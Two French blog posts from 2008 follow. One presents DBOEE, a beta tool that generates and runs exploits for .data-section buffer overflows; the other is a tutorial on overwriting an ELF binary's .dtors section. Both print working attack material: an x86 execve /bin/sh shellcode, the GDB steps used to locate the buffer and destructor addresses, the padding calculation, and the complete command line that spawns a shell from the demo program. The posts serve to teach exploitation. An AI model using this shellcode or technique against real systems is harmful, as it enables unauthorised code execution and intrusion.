2008/08/23

.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter

Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .

Mais en quoi cela consiste -il ?

En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .

Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .

Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?


De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .

Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .

Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.

Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE


----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------


[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c

[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr

[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?

[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack


---------------------------****************---------------------------


---------------------------STARTING PROGRAM---------------------------


[*] Enter Adress Return :
"\x60\x95\x04\x08"

[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"


---------------------------Starting Exploitation---------------------------

[~]Program Running......

[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18


---------------------------Shellcode Created---------------------------


[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272

---------------------------Shellcode Created---------------------------

[~]Generating Payload....

(+)[Your Payload is] -->
272 x 'A' [your shellcode]

(+) subtraction of the shellcode bytes ...

[*] Payload generated is : printf 254 x 'A' [shellcode]


---------------------------Payload Created---------------------------

[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu

---------------------------Generating Exploit File---------------------------

[#] Creating Exploit File ....

[#]Exploit.txt : success !


[+] Sending payload...

------------ Result ------------
sh-3.2$

-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"
`
-----------------------------------------------------------------------------------------------------------------------------------------------------------

Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.

-----
Archive du projet DBOEE
-----

Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !

ps2: Retrouver l'appel a participation au projet sur le forum

Collective-Utopia

2008/08/09

.Data Section overflow

Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement
-----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|

Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .

Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .

Commençons la pratique :

Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :

[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440

.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor

.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524

.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable

.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7

Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).

Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.

---------------------------------->
Organisation des Ctors et Dtors:

0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .

Dans vuvu.c , la section .dtors est justement vide :

---------------------------------->

[kmkz@localhost
Data_overflow]$ objdump -s -j .dtors vuvu

bss2: file format elf32-i386

Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :

---------------------------------->


(gdb) disas main
Dump of assembler code for function main:
0x08048344 : lea 0x4(%esp),%ecx
0x08048348 : and $0xfffffff0,%esp
0x0804834b : pushl 0xfffffffc(%ecx)
0x0804834e : push %ebp
0x0804834f : mov %esp,%ebp
0x08048351 : push %ecx
0x08048352 : sub $0x14,%esp
0x08048355 : mov 0x4(%ecx),%eax
0x08048358 : add $0x4,%eax
0x0804835b : mov (%eax),%eax
0x0804835d : mov %eax,0x4(%esp)
0x08048361 : movl $0x8049560,(%esp)
0x08048368 : call 0x80482b0
0x0804836d : add $0x14,%esp
0x08048370 : pop %ecx
0x08048371 : pop %ebp
0x08048372 : lea 0xfffffffc(%ecx),%esp
0x08048375 : ret
End of assembler dump.

---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560

--------------------------
Adresse de la section Dtors:

(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.

.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....

-------------------------

(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000

Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------

(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.

On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254

Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :

[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`

sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable

Proof of concept (pl)


Et comme l'été on s'ennui :

Proof of concept (c)

<---------------------------------- See you .... o/